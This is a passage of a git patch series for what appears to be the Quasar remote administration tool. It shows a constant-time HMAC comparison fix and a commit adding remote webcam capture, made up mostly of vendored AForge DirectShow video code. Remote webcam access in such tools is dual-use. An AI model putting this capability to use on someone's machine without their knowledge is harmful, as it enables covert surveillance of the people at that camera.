System.Security.Cryptography; using System.Text; +using xServer.Core.Helper; namespace xServer.Core.Cryptography { @@ -170,13 +171,8 @@ public static byte[] Decrypt(byte[] input) byte[] receivedHash = new byte[HmacSha256Length]; ms.Read(receivedHash, 0, receivedHash.Length); - for (int i = 0; i < hash.Length; i++) - { - if (receivedHash[i] != hash[i]) - { - return data; - } - } + if (!CryptographyHelper.AreEqual(hash, receivedHash)) + return data; } byte[] iv = new byte[IvLength]; diff --git a/Server/Core/Helper/CryptographyHelper.cs b/Server/Core/Helper/CryptographyHelper.cs new file mode 100644 index 000000000..e1f656385 --- /dev/null +++ b/Server/Core/Helper/CryptographyHelper.cs @@ -0,0 +1,29 @@ +using System.Runtime.CompilerServices; + +namespace xServer.Core.Helper +{ + public static class CryptographyHelper + { + /// + /// Compares two byte arrays for equality. + /// + /// Byte array to compare + /// Byte array to compare + /// True if equal, else false + /// + /// Assumes that the byte arrays have the same length. + /// This method is safe against timing attacks. + /// + [MethodImpl(MethodImplOptions.NoOptimization)] + public static bool AreEqual(byte[] a1, byte[] a2) + { + bool result = true; + for (int i = 0; i < a1.Length; ++i) + { + if (a1[i] != a2[i]) + result = false; + } + return result; + } + } +} diff --git a/Server/Server.csproj b/Server/Server.csproj index 490995bc8..7e590a868 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -106,6 +106,7 @@ + From daac56a12c265ed77d4fe97a094676965ef86624 Mon Sep 17 00:00:00 2001 From: Darius Costolas Date: Mon, 13 Jun 2016 17:30:04 +0300 Subject: [PATCH 042/229] Added Remote Webcam I added remote webcam using AForge, it may be a little hackish but it works. --- Client/Client.csproj | 52 + .../Video.DirectShow/CameraControlProperty.cs | 67 + .../Video.DirectShow/FileVideoSource.cs | 621 ++++++ .../AForge/Video.DirectShow/FilterInfo.cs | 193 ++ .../Video.DirectShow/FilterInfoCollection.cs | 138 ++ .../Internals/IAMCameraControl.cs | 81 + .../Video.DirectShow/Internals/IAMCrossbar.cs | 88 + .../Internals/IAMStreamConfig.cs | 74 + .../Internals/IAMVideoControl.cs | 112 ++ .../Video.DirectShow/Internals/IBaseFilter.cs | 161 ++ .../Internals/ICaptureGraphBuilder2.cs | 192 ++ .../Internals/ICreateDevEnum.cs | 37 + .../Internals/IEnumFilters.cs | 71 + .../Video.DirectShow/Internals/IEnumPins.cs | 68 + .../Internals/IFileSourceFilter.cs | 48 + .../Internals/IFilterGraph.cs | 113 ++ .../Internals/IFilterGraph2.cs | 257 +++ .../Internals/IGraphBuilder.cs | 198 ++ .../Internals/IMediaControl.cs | 118 ++ .../Internals/IMediaEventEx.cs | 126 ++ .../Internals/IMediaFilter.cs | 102 + .../Video.DirectShow/Internals/IPersist.cs | 32 + .../AForge/Video.DirectShow/Internals/IPin.cs | 191 ++ .../Internals/IPropertyBag.cs | 53 + .../Internals/IReferenceClock.cs | 87 + .../Internals/ISampleGrabber.cs | 103 + .../Internals/ISampleGrabberCB.cs | 47 + .../Internals/ISpecifyPropertyPages.cs | 36 + .../Internals/IVideoWindow.cs | 466 +++++ .../Video.DirectShow/Internals/Structures.cs | 518 +++++ .../Video.DirectShow/Internals/Tools.cs | 95 + .../Video.DirectShow/Internals/Uuids.cs | 299 +++ .../Video.DirectShow/Internals/Win32.cs | 102 + .../Video.DirectShow/PhysicalConnectorType.cs | 123 ++ .../Properties/AssemblyInfo.cs | 5 + .../Properties/Resources.Designer.cs | 70 + .../Properties/Resources.resx | 124 ++ Client/Core/AForge/Video.DirectShow/Uuids.cs | 55 + .../Video.DirectShow/VideoCapabilities.cs | 245 +++ .../Video.DirectShow/VideoCaptureDevice.cs | 1698 +++++++++++++++++ .../AForge/Video.DirectShow/VideoInput.cs | 47 + Client/Core/AForge/Video/AsyncVideoSource.cs | 473 +++++ Client/Core/AForge/Video/ByteArrayUtils.cs | 91 + Client/Core/AForge/Video/Exceptions.cs | 31 + Client/Core/AForge/Video/IVideoSource.cs | 126 ++ Client/Core/AForge/Video/JPEGStream.cs | 587 ++++++ Client/Core/AForge/Video/MJPEGStream.cs | 704 +++++++ .../Core/AForge/Video/ScreenCaptureStream.cs | 396 ++++ Client/Core/AForge/Video/SystemTools.cs | 164 ++ Client/Core/AForge/Video/VideoEvents.cs | 125 ++ Client/Core/Commands/SurveillanceHandler.cs | 3 +- Client/Core/Commands/WebcamHandler.cs | 84 + Client/Core/Networking/QuasarClient.cs | 5 + .../ClientPackets/GetWebcamResponse.cs | 28 + .../ClientPackets/GetWebcamsResponse.cs | 26 + Client/Core/Packets/PacketHandler.cs | 13 +- .../Packets/ServerPackets/DoWebcamStop.cs | 18 + .../Core/Packets/ServerPackets/GetWebcam.cs | 25 + .../Core/Packets/ServerPackets/GetWebcams.cs | 18 + Server/Core/Commands/SurveillanceHandler.cs | 31 + Server/Core/Networking/QuasarServer.cs | 5 + Server/Core/Networking/UserState.cs | 1 + .../ClientPackets/GetWebcamResponse.cs | 29 + .../ClientPackets/GetWebcamsResponse.cs | 26 + Server/Core/Packets/PacketHandler.cs | 8 + .../Packets/ServerPackets/DoWebcamStop.cs | 18 + .../Core/Packets/ServerPackets/GetWebcam.cs | 25 + .../Core/Packets/ServerPackets/GetWebcams.cs | 18 + Server/Forms/FrmMain.Designer.cs | 25 +- Server/Forms/FrmMain.cs | 21 +- Server/Forms/FrmMain.resx | 2 +- Server/Forms/FrmRemoteWebcam.Designer.cs | 158 ++ Server/Forms/FrmRemoteWebcam.cs | 121 ++ Server/Forms/FrmRemoteWebcam.resx | 659 +++++++ Server/Server.csproj | 14 + 75 files changed, 11375 insertions(+), 16 deletions(-) create mode 100644 Client/Core/AForge/Video.DirectShow/CameraControlProperty.cs create mode 100644 Client/Core/AForge/Video.DirectShow/FileVideoSource.cs create mode 100644 Client/Core/AForge/Video.DirectShow/FilterInfo.cs create mode 100644 Client/Core/AForge/Video.DirectShow/FilterInfoCollection.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IAMCameraControl.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IAMCrossbar.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IAMVideoControl.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IBaseFilter.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IEnumFilters.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IEnumPins.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IFileSourceFilter.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph2.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IGraphBuilder.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IMediaControl.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IMediaEventEx.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IMediaFilter.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IPersist.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IPin.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IPropertyBag.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IReferenceClock.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabber.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/IVideoWindow.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/Structures.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/Tools.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/Uuids.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Internals/Win32.cs create mode 100644 Client/Core/AForge/Video.DirectShow/PhysicalConnectorType.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Properties/AssemblyInfo.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Properties/Resources.Designer.cs create mode 100644 Client/Core/AForge/Video.DirectShow/Properties/Resources.resx create mode 100644 Client/Core/AForge/Video.DirectShow/Uuids.cs create mode 100644 Client/Core/AForge/Video.DirectShow/VideoCapabilities.cs create mode 100644 Client/Core/AForge/Video.DirectShow/VideoCaptureDevice.cs create mode 100644 Client/Core/AForge/Video.DirectShow/VideoInput.cs create mode 100644 Client/Core/AForge/Video/AsyncVideoSource.cs create mode 100644 Client/Core/AForge/Video/ByteArrayUtils.cs create mode 100644 Client/Core/AForge/Video/Exceptions.cs create mode 100644 Client/Core/AForge/Video/IVideoSource.cs create mode 100644 Client/Core/AForge/Video/JPEGStream.cs create mode 100644 Client/Core/AForge/Video/MJPEGStream.cs create mode 100644 Client/Core/AForge/Video/ScreenCaptureStream.cs create mode 100644 Client/Core/AForge/Video/SystemTools.cs create mode 100644 Client/Core/AForge/Video/VideoEvents.cs create mode 100644 Client/Core/Commands/WebcamHandler.cs create mode 100644 Client/Core/Packets/ClientPackets/GetWebcamResponse.cs create mode 100644 Client/Core/Packets/ClientPackets/GetWebcamsResponse.cs create mode 100644 Client/Core/Packets/ServerPackets/DoWebcamStop.cs create mode 100644 Client/Core/Packets/ServerPackets/GetWebcam.cs create mode 100644 Client/Core/Packets/ServerPackets/GetWebcams.cs create mode 100644 Server/Core/Packets/ClientPackets/GetWebcamResponse.cs create mode 100644 Server/Core/Packets/ClientPackets/GetWebcamsResponse.cs create mode 100644 Server/Core/Packets/ServerPackets/DoWebcamStop.cs create mode 100644 Server/Core/Packets/ServerPackets/GetWebcam.cs create mode 100644 Server/Core/Packets/ServerPackets/GetWebcams.cs create mode 100644 Server/Forms/FrmRemoteWebcam.Designer.cs create mode 100644 Server/Forms/FrmRemoteWebcam.cs create mode 100644 Server/Forms/FrmRemoteWebcam.resx diff --git a/Client/Client.csproj b/Client/Client.csproj index c75c4c45b..52ce0aa5b 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -53,8 +53,55 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -102,11 +149,14 @@ + + + @@ -119,6 +169,8 @@ + + diff --git a/Client/Core/AForge/Video.DirectShow/CameraControlProperty.cs b/Client/Core/AForge/Video.DirectShow/CameraControlProperty.cs new file mode 100644 index 000000000..8ab1f6cca --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/CameraControlProperty.cs @@ -0,0 +1,67 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + + /// + /// The enumeration specifies a setting on a camera. + /// + public enum CameraControlProperty + { + /// + /// Pan control. + /// + Pan = 0, + /// + /// Tilt control. + /// + Tilt, + /// + /// Roll control. + /// + Roll, + /// + /// Zoom control. + /// + Zoom, + /// + /// Exposure control. + /// + Exposure, + /// + /// Iris control. + /// + Iris, + /// + /// Focus control. + /// + Focus + } + + /// + /// The enumeration defines whether a camera setting is controlled manually or automatically. + /// + [Flags] + public enum CameraControlFlags + { + /// + /// No control flag. + /// + None = 0x0, + /// + /// Auto control Flag. + /// + Auto = 0x0001, + /// + /// Manual control Flag. + /// + Manual = 0x0002 + } +} diff --git a/Client/Core/AForge/Video.DirectShow/FileVideoSource.cs b/Client/Core/AForge/Video.DirectShow/FileVideoSource.cs new file mode 100644 index 000000000..d3754674d --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/FileVideoSource.cs @@ -0,0 +1,621 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Drawing; + using System.Drawing.Imaging; + using System.Threading; + using System.Runtime.InteropServices; + + using AForge.Video; + using AForge.Video.DirectShow.Internals; + + /// + /// Video source for video files. + /// + /// + /// The video source provides access to video files. DirectShow is used to access video + /// files. + /// + /// Sample usage: + /// + /// // create video source + /// FileVideoSource videoSource = new FileVideoSource( fileName ); + /// // set NewFrame event handler + /// videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); + /// // start the video source + /// videoSource.Start( ); + /// // ... + /// // signal to stop + /// videoSource.SignalToStop( ); + /// // ... + /// + /// // New frame event handler, which is invoked on each new available video frame + /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) + /// { + /// // get new frame + /// Bitmap bitmap = eventArgs.Frame; + /// // process the frame + /// } + /// + /// + /// + public class FileVideoSource : IVideoSource + { + // video file name + private string fileName; + // received frames count + private int framesReceived; + // recieved byte count + private long bytesReceived; + // prevent freezing + private bool preventFreezing = false; + // reference clock for the graph - when disabled, graph processes frames ASAP + private bool referenceClockEnabled = true; + + private Thread thread = null; + private ManualResetEvent stopEvent = null; + + /// + /// New frame event. + /// + /// + /// Notifies clients about new available frame from video source. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + public event NewFrameEventHandler NewFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + public event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + public event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + /// Video source is represented by video file name. + /// + public virtual string Source + { + get { return fileName; } + set { fileName = value; } + } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + public int FramesReceived + { + get + { + int frames = framesReceived; + framesReceived = 0; + return frames; + } + } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + public long BytesReceived + { + get + { + long bytes = bytesReceived; + bytesReceived = 0; + return bytes; + } + } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + public bool IsRunning + { + get + { + if ( thread != null ) + { + // check thread status + if ( thread.Join( 0 ) == false ) + return true; + + // the thread is not running, free resources + Free( ); + } + return false; + } + } + + /// + /// Prevent video freezing after screen saver and workstation lock or not. + /// + /// + /// + /// The value specifies if the class should prevent video freezing during and + /// after screen saver or workstation lock. To prevent freezing the DirectShow graph + /// should not contain Renderer filter, which is added by Render() method + /// of graph. However, in some cases it may be required to call Render() method of graph, since + /// it may add some more filters, which may be required for playing video. So, the property is + /// a trade off - it is possible to prevent video freezing skipping adding renderer filter or + /// it is possible to keep renderer filter, but video may freeze during screen saver. + /// + /// The property may become obsolete in the future when approach to disable freezing + /// and adding all required filters is found. + /// + /// The property should be set before calling method + /// of the class to have effect. + /// + /// Default value of this property is set to false. + /// + /// + /// + public bool PreventFreezing + { + get { return preventFreezing; } + set { preventFreezing = value; } + } + + /// + /// Enables/disables reference clock on the graph. + /// + /// + /// Disabling reference clocks causes DirectShow graph to run as fast as + /// it can process data. When enabled, it will process frames according to presentation + /// time of a video file. + /// + /// The property should be set before calling method + /// of the class to have effect. + /// + /// Default value of this property is set to true. + /// + /// + public bool ReferenceClockEnabled + { + get { return referenceClockEnabled; } + set { referenceClockEnabled = value;} + } + + /// + /// Initializes a new instance of the class. + /// + /// + public FileVideoSource( ) { } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Video file name. + /// + public FileVideoSource( string fileName ) + { + this.fileName = fileName; + } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + public void Start( ) + { + if ( !IsRunning ) + { + // check source + if ( ( fileName == null ) || ( fileName == string.Empty ) ) + throw new ArgumentException( "Video source is not specified" ); + + framesReceived = 0; + bytesReceived = 0; + + // create events + stopEvent = new ManualResetEvent( false ); + + // create and start new thread + thread = new Thread( new ThreadStart( WorkerThread ) ); + thread.Name = fileName; // mainly for debugging + thread.Start( ); + } + } + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + public void SignalToStop( ) + { + // stop thread + if ( thread != null ) + { + // signal to stop + stopEvent.Set( ); + } + } + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for source stopping after it was signalled to stop using + /// method. + /// + public void WaitForStop( ) + { + if ( thread != null ) + { + // wait for thread stop + thread.Join( ); + + Free( ); + } + } + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + /// Since the method aborts background thread, its usage is highly not preferred + /// and should be done only if there are no other options. The correct way of stopping camera + /// is signaling it stop and then + /// waiting for background thread's completion. + /// + /// + public void Stop( ) + { + if ( this.IsRunning ) + { + thread.Abort( ); + WaitForStop( ); + } + } + + /// + /// Free resource. + /// + /// + private void Free( ) + { + thread = null; + + // release events + stopEvent.Close( ); + stopEvent = null; + } + + /// + /// Worker thread. + /// + /// + private void WorkerThread( ) + { + ReasonToFinishPlaying reasonToStop = ReasonToFinishPlaying.StoppedByUser; + + // grabber + Grabber grabber = new Grabber( this ); + + // objects + object graphObject = null; + object grabberObject = null; + + // interfaces + IGraphBuilder graph = null; + IBaseFilter sourceBase = null; + IBaseFilter grabberBase = null; + ISampleGrabber sampleGrabber = null; + IMediaControl mediaControl = null; + + IMediaEventEx mediaEvent = null; + + try + { + // get type for filter graph + Type type = Type.GetTypeFromCLSID( Clsid.FilterGraph ); + if ( type == null ) + throw new ApplicationException( "Failed creating filter graph" ); + + // create filter graph + graphObject = Activator.CreateInstance( type ); + graph = (IGraphBuilder) graphObject; + + // create source device's object + graph.AddSourceFilter( fileName, "source", out sourceBase ); + if ( sourceBase == null ) + throw new ApplicationException( "Failed creating source filter" ); + + // get type for sample grabber + type = Type.GetTypeFromCLSID( Clsid.SampleGrabber ); + if ( type == null ) + throw new ApplicationException( "Failed creating sample grabber" ); + + // create sample grabber + grabberObject = Activator.CreateInstance( type ); + sampleGrabber = (ISampleGrabber) grabberObject; + grabberBase = (IBaseFilter) grabberObject; + + // add grabber filters to graph + graph.AddFilter( grabberBase, "grabber" ); + + // set media type + AMMediaType mediaType = new AMMediaType( ); + mediaType.MajorType = MediaType.Video; + mediaType.SubType = MediaSubType.RGB24; + sampleGrabber.SetMediaType( mediaType ); + + // connect pins + int pinToTry = 0; + + IPin inPin = Tools.GetInPin( grabberBase, 0 ); + IPin outPin = null; + + // find output pin acceptable by sample grabber + while ( true ) + { + outPin = Tools.GetOutPin( sourceBase, pinToTry ); + + if ( outPin == null ) + { + Marshal.ReleaseComObject( inPin ); + throw new ApplicationException( "Did not find acceptable output video pin in the given source" ); + } + + if ( graph.Connect( outPin, inPin ) < 0 ) + { + Marshal.ReleaseComObject( outPin ); + outPin = null; + pinToTry++; + } + else + { + break; + } + } + + Marshal.ReleaseComObject( outPin ); + Marshal.ReleaseComObject( inPin ); + + // get media type + if ( sampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) + { + VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + grabber.Width = vih.BmiHeader.Width; + grabber.Height = vih.BmiHeader.Height; + mediaType.Dispose( ); + } + + // let's do rendering, if we don't need to prevent freezing + if ( !preventFreezing ) + { + // render pin + graph.Render( Tools.GetOutPin( grabberBase, 0 ) ); + + // configure video window + IVideoWindow window = (IVideoWindow) graphObject; + window.put_AutoShow( false ); + window = null; + } + + // configure sample grabber + sampleGrabber.SetBufferSamples( false ); + sampleGrabber.SetOneShot( false ); + sampleGrabber.SetCallback( grabber, 1 ); + + // disable clock, if someone requested it + if ( !referenceClockEnabled ) + { + IMediaFilter mediaFilter = (IMediaFilter) graphObject; + mediaFilter.SetSyncSource( null ); + } + + // get media control + mediaControl = (IMediaControl) graphObject; + + // get media events' interface + mediaEvent = (IMediaEventEx) graphObject; + IntPtr p1, p2; + DsEvCode code; + + // run + mediaControl.Run( ); + + do + { + if ( mediaEvent != null ) + { + if ( mediaEvent.GetEvent( out code, out p1, out p2, 0 ) >= 0 ) + { + mediaEvent.FreeEventParams( code, p1, p2 ); + + if ( code == DsEvCode.Complete ) + { + reasonToStop = ReasonToFinishPlaying.EndOfStreamReached; + break; + } + } + } + } + while ( !stopEvent.WaitOne( 100, false ) ); + + mediaControl.Stop( ); + } + catch ( Exception exception ) + { + // provide information to clients + if ( VideoSourceError != null ) + { + VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); + } + } + finally + { + // release all objects + graph = null; + grabberBase = null; + sampleGrabber = null; + mediaControl = null; + mediaEvent = null; + + if ( graphObject != null ) + { + Marshal.ReleaseComObject( graphObject ); + graphObject = null; + } + if ( sourceBase != null ) + { + Marshal.ReleaseComObject( sourceBase ); + sourceBase = null; + } + if ( grabberObject != null ) + { + Marshal.ReleaseComObject( grabberObject ); + grabberObject = null; + } + } + + if ( PlayingFinished != null ) + { + PlayingFinished( this, reasonToStop ); + } + } + + /// + /// Notifies client about new frame. + /// + /// + /// New frame's image. + /// + protected void OnNewFrame( Bitmap image ) + { + framesReceived++; + bytesReceived += image.Width * image.Height * ( Bitmap.GetPixelFormatSize( image.PixelFormat ) >> 3 ); + + if ( ( !stopEvent.WaitOne( 0, false ) ) && ( NewFrame != null ) ) + NewFrame( this, new NewFrameEventArgs( image ) ); + } + + // + // Video grabber + // + private class Grabber : ISampleGrabberCB + { + private FileVideoSource parent; + private int width, height; + + // Width property + public int Width + { + get { return width; } + set { width = value; } + } + // Height property + public int Height + { + get { return height; } + set { height = value; } + } + + // Constructor + public Grabber( FileVideoSource parent ) + { + this.parent = parent; + } + + // Callback to receive samples + public int SampleCB( double sampleTime, IntPtr sample ) + { + return 0; + } + + // Callback method that receives a pointer to the sample buffer + public int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ) + { + if ( parent.NewFrame != null ) + { + // create new image + System.Drawing.Bitmap image = new Bitmap( width, height, PixelFormat.Format24bppRgb ); + + // lock bitmap data + BitmapData imageData = image.LockBits( + new Rectangle( 0, 0, width, height ), + ImageLockMode.ReadWrite, + PixelFormat.Format24bppRgb ); + + // copy image data + int srcStride = imageData.Stride; + int dstStride = imageData.Stride; + + unsafe + { + byte* dst = (byte*) imageData.Scan0.ToPointer( ) + dstStride * ( height - 1 ); + byte* src = (byte*) buffer.ToPointer( ); + + for ( int y = 0; y < height; y++ ) + { + Win32.memcpy( dst, src, srcStride ); + dst -= dstStride; + src += srcStride; + } + } + + // unlock bitmap data + image.UnlockBits( imageData ); + + // notify parent + parent.OnNewFrame( image ); + + // release the image + image.Dispose( ); + } + + return 0; + } + } + } +} diff --git a/Client/Core/AForge/Video.DirectShow/FilterInfo.cs b/Client/Core/AForge/Video.DirectShow/FilterInfo.cs new file mode 100644 index 000000000..c70e9665f --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/FilterInfo.cs @@ -0,0 +1,193 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + using AForge.Video.DirectShow.Internals; + + /// + /// DirectShow filter information. + /// + /// + public class FilterInfo : IComparable + { + /// + /// Filter name. + /// + public string Name { get; private set; } + + /// + /// Filters's moniker string. + /// + /// + public string MonikerString { get; private set; } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Filters's moniker string. + /// + public FilterInfo( string monikerString ) + { + MonikerString = monikerString; + Name = GetName( monikerString ); + } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Filter's moniker object. + /// + internal FilterInfo( IMoniker moniker ) + { + MonikerString = GetMonikerString( moniker ); + Name = GetName( moniker ); + } + + /// + /// Compare the object with another instance of this class. + /// + /// + /// Object to compare with. + /// + /// A signed number indicating the relative values of this instance and value. + /// + public int CompareTo( object value ) + { + FilterInfo f = (FilterInfo) value; + + if ( f == null ) + return 1; + + return ( this.Name.CompareTo( f.Name ) ); + } + + /// + /// Create an instance of the filter. + /// + /// + /// Filter's moniker string. + /// + /// Returns filter's object, which implements IBaseFilter interface. + /// + /// The returned filter's object should be released using Marshal.ReleaseComObject(). + /// + public static object CreateFilter( string filterMoniker ) + { + // filter's object + object filterObject = null; + // bind context and moniker objects + IBindCtx bindCtx = null; + IMoniker moniker = null; + + int n = 0; + + // create bind context + if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) + { + // convert moniker`s string to a moniker + if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 ) + { + // get device base filter + Guid filterId = typeof( IBaseFilter ).GUID; + moniker.BindToObject( null, null, ref filterId, out filterObject ); + + Marshal.ReleaseComObject( moniker ); + } + Marshal.ReleaseComObject( bindCtx ); + } + return filterObject; + } + + // + // Get moniker string of the moniker + // + private string GetMonikerString( IMoniker moniker ) + { + string str; + moniker.GetDisplayName( null, null, out str ); + return str; + } + + // + // Get filter name represented by the moniker + // + private string GetName( IMoniker moniker ) + { + Object bagObj = null; + IPropertyBag bag = null; + + try + { + Guid bagId = typeof( IPropertyBag ).GUID; + // get property bag of the moniker + moniker.BindToStorage( null, null, ref bagId, out bagObj ); + bag = (IPropertyBag) bagObj; + + // read FriendlyName + object val = ""; + int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero ); + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + // get it as string + string ret = (string) val; + if ( ( ret == null ) || ( ret.Length < 1 ) ) + throw new ApplicationException( ); + + return ret; + } + catch ( Exception ) + { + return ""; + } + finally + { + // release all COM objects + bag = null; + if ( bagObj != null ) + { + Marshal.ReleaseComObject( bagObj ); + bagObj = null; + } + } + } + + // + // Get filter name represented by the moniker string + // + private string GetName( string monikerString ) + { + IBindCtx bindCtx = null; + IMoniker moniker = null; + String name = ""; + int n = 0; + + // create bind context + if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) + { + // convert moniker`s string to a moniker + if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 ) + { + // get device name + name = GetName( moniker ); + + Marshal.ReleaseComObject( moniker ); + moniker = null; + } + Marshal.ReleaseComObject( bindCtx ); + bindCtx = null; + } + return name; + } + } +} diff --git a/Client/Core/AForge/Video.DirectShow/FilterInfoCollection.cs b/Client/Core/AForge/Video.DirectShow/FilterInfoCollection.cs new file mode 100644 index 000000000..dabd30d56 --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/FilterInfoCollection.cs @@ -0,0 +1,138 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + using AForge.Video.DirectShow.Internals; + + /// + /// Collection of filters' information objects. + /// + /// + /// The class allows to enumerate DirectShow filters of specified category. For + /// a list of categories see . + /// + /// Sample usage: + /// + /// // enumerate video devices + /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); + /// // list devices + /// foreach ( FilterInfo device in videoDevices ) + /// { + /// // ... + /// } + /// + /// + /// + public class FilterInfoCollection : CollectionBase + { + /// + /// Initializes a new instance of the class. + /// + /// + /// Guid of DirectShow filter category. See . + /// + /// Build collection of filters' information objects for the + /// specified filter category. + /// + public FilterInfoCollection( Guid category ) + { + CollectFilters( category ); + } + + /// + /// Get filter information object. + /// + /// + /// Index of filter information object to retrieve. + /// + /// Filter information object. + /// + public FilterInfo this[int index] + { + get + { + return ( (FilterInfo) InnerList[index] ); + } + } + + // Collect filters of specified category + private void CollectFilters( Guid category ) + { + object comObj = null; + ICreateDevEnum enumDev = null; + IEnumMoniker enumMon = null; + IMoniker[] devMon = new IMoniker[1]; + int hr; + + try + { + // Get the system device enumerator + Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum ); + if ( srvType == null ) + throw new ApplicationException( "Failed creating device enumerator" ); + + // create device enumerator + comObj = Activator.CreateInstance( srvType ); + enumDev = (ICreateDevEnum) comObj; + + // Create an enumerator to find filters of specified category + hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 ); + if ( hr != 0 ) + throw new ApplicationException( "No devices of the category" ); + + // Collect all filters + IntPtr n = IntPtr.Zero; + while ( true ) + { + // Get next filter + hr = enumMon.Next( 1, devMon, n ); + if ( ( hr != 0 ) || ( devMon[0] == null ) ) + break; + + // Add the filter + FilterInfo filter = new FilterInfo( devMon[0] ); + InnerList.Add( filter ); + + // Release COM object + Marshal.ReleaseComObject( devMon[0] ); + devMon[0] = null; + } + + // Sort the collection + InnerList.Sort( ); + } + catch + { + } + finally + { + // release all COM objects + enumDev = null; + if ( comObj != null ) + { + Marshal.ReleaseComObject( comObj ); + comObj = null; + } + if ( enumMon != null ) + { + Marshal.ReleaseComObject( enumMon ); + enumMon = null; + } + if ( devMon[0] != null ) + { + Marshal.ReleaseComObject( devMon[0] ); + devMon[0] = null; + } + } + } + } +} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IAMCameraControl.cs b/Client/Core/AForge/Video.DirectShow/Internals/IAMCameraControl.cs new file mode 100644 index 000000000..c207797fd --- /dev/null +++ b/Client/Core/AForge/Video.DirectShow/Internals/IAMCameraControl.cs @@ -0,0 +1,81 